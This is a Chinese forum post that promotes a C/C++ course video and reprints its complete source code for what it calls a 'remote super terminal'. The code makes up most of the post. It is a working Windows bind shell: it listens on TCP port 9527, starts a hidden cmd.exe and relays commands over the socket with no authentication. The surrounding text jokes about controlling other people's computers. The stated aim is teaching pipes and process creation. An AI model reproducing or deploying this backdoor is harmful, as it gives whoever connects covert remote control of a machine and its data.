|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
昨天(2015.06.26)C/C++《远程超级终端,你的电脑我做主》课程视频:http://pan.baidu.com/s/1c0DBA4w
提取码:9ql2
由择善人见人爱 花见花开的Mark老师,为您讲解用C/C++编写远程超级终端,你的电脑我做主,其中涉含的主要知识点是管道数据交互、创建进程,Mark老师将会一步一步,手把手的带着我们去学习C/C++如何编写出远程超级终端,还不快快下载学习。
以下是《远程超级终端,你的电脑我做主》视频内所有代码:
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
#include <windows.h>
#include <process.h>
struct ThreadNode {
SOCKET socket_ = INVALID_SOCKET;
HANDLE pipe_handle_ = nullptr;
};
bool exit_b = false;
unsigned int _stdcall ThreadOutPutProc(void *param) {
ThreadNode node = *((ThreadNode*)param);
DWORD total_avail_dword = 0, read_len_dword = 0;
BOOL ret_bool = FALSE;
char buffer_c[MAXBYTE] = { 0 };
while (!exit_b) {
total_avail_dword = 0;
ret_bool = PeekNamedPipe(node.pipe_handle_, nullptr, 0, nullptr, &total_avail_dword, nullptr);
if (ret_bool && total_avail_dword >0) {
//读取管道当中的数据
ret_bool = ReadFile(node.pipe_handle_, buffer_c, MAXBYTE, &read_len_dword, nullptr);
if (ret_bool && read_len_dword>0) {
send(node.socket_, buffer_c, read_len_dword, 0);
}
ZeroMemory(buffer_c, MAXBYTE);
Sleep(10);
}
}
return 0;
}
unsigned int _stdcall ThreadInPutProc(void *param) {
ThreadNode node = *((ThreadNode*)param);
char buffer_c[MAXBYTE] = { 0 };
DWORD recv_len_dword = 0,write_len_dword = 0;
while (true) {
recv_len_dword = recv(node.socket_, buffer_c, MAXBYTE, 0);
if (recv_len_dword > 0 && recv_len_dword != SOCKET_ERROR) {
WriteFile(node.pipe_handle_, buffer_c, recv_len_dword, &write_len_dword, nullptr);
}
else {
closesocket(node.socket_);
WriteFile(node.pipe_handle_, "exit\r\n", strlen("exit\r\n"), &write_len_dword, nullptr);
exit_b = true;
break;
}
ZeroMemory(buffer_c, MAXBYTE);
}
return 0;
}
bool SocketInit() {
WSADATA wsadata = { 0 };
if (WSAStartup(MAKEWORD(2, 2), &wsadata) == 0) {
return true;
}
return false;
}
bool StartShell(unsigned int port_t) {
if (SocketInit()) {
SOCKET listen_socket = socket(AF_INET,
SOCK_STREAM,
IPPROTO_TCP);
if (listen_socket == INVALID_SOCKET) {
return 1;
}
SOCKADDR_IN server_addr = { 0 };
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(9527);
if (bind(listen_socket, (sockaddr *)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
return false;
}
if (listen(listen_socket, 10) == SOCKET_ERROR) {
return false;
}
//accept(监听好的套接字,连接到来的IP,结构的长度)
SOCKET accept_socket = accept(listen_socket, nullptr, nullptr);
//课程源码及包含的类库会在每天下午发布在官方论坛:http://www.doedu.com.cn/t
//更多视频下载:http://www.doedu.com.cn/t/forum.php?mod=viewthread&tid=20&extra=page%3D1
//创建一个cmd的进程 system()这个函数
// 传递输入输出设备 管道进行通信
//input
HANDLE read_pipe_one_handle = nullptr, write_pipe_one_handle = nullptr;
//output
HANDLE read_pipe_two_handle = nullptr, write_pipe_two_handle = nullptr;
SECURITY_ATTRIBUTES sa = { 0 };
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = nullptr;
sa.bInheritHandle = true;
if (!CreatePipe(&read_pipe_one_handle, &write_pipe_one_handle, &sa, 0))
return false;
if (!CreatePipe(&read_pipe_two_handle, &write_pipe_two_handle, &sa, 0))
return false;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
STARTUPINFO si;
si.cb = sizeof(si);
GetStartupInfo(&si);
//ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = read_pipe_one_handle;
si.hStdError = si.hStdOutput = write_pipe_two_handle;
si.wShowWindow = SW_HIDE;
if(!CreateProcessW(
L"C:\\WINDOWS\\system32\\cmd.exe",
nullptr,
nullptr,
nullptr,
true,
NULL,
nullptr,
nullptr,
&si,
&pi)) {
return false;
}
ThreadNode read_node, write_node;
read_node.socket_ = accept_socket;
read_node.pipe_handle_ = read_pipe_two_handle;
write_node.socket_ = accept_socket;
write_node.pipe_handle_ = write_pipe_one_handle;
HANDLE outpur_handle = (HANDLE)_beginthreadex(nullptr, 0, ThreadOutPutProc, &read_node, 0, nullptr);
HANDLE input_handle = (HANDLE)_beginthreadex(nullptr, 0, ThreadInPutProc, &write_node, 0, nullptr);
HANDLE handles[] = { outpur_handle, input_handle };
//卡死 阻塞住
WaitForMultipleObjects(2, handles, true, INFINITE);
}
}
int APIENTRY wWinMain( HINSTANCE hInstance, HINSTANCE hPreInstance, LPTSTR lpCmdLine,
int nCmdShow) {
StartShell(9527);
return 0;
}
-------------------------------------------------------------------------------------------------------------------------------------
课题视频:远程超级终端,你的电脑我做主
视频知识:管道数据交互
创建进程
主讲:择善人见人爱 花见花开的Mark老师
学习交流群:386620625
验证码:2015
由择善人见人爱 花见花开的Mark老师手把手带你做远程超级终端,你的电脑我做主,什么秘密都藏不住!哈哈,要是你还不来学习,小心老师控制你的电脑噢。快准备进教室吧,每日在线课程报名地址:http://ke.qq.com/cgi-bin/courseDetail?course_id=57885 |
|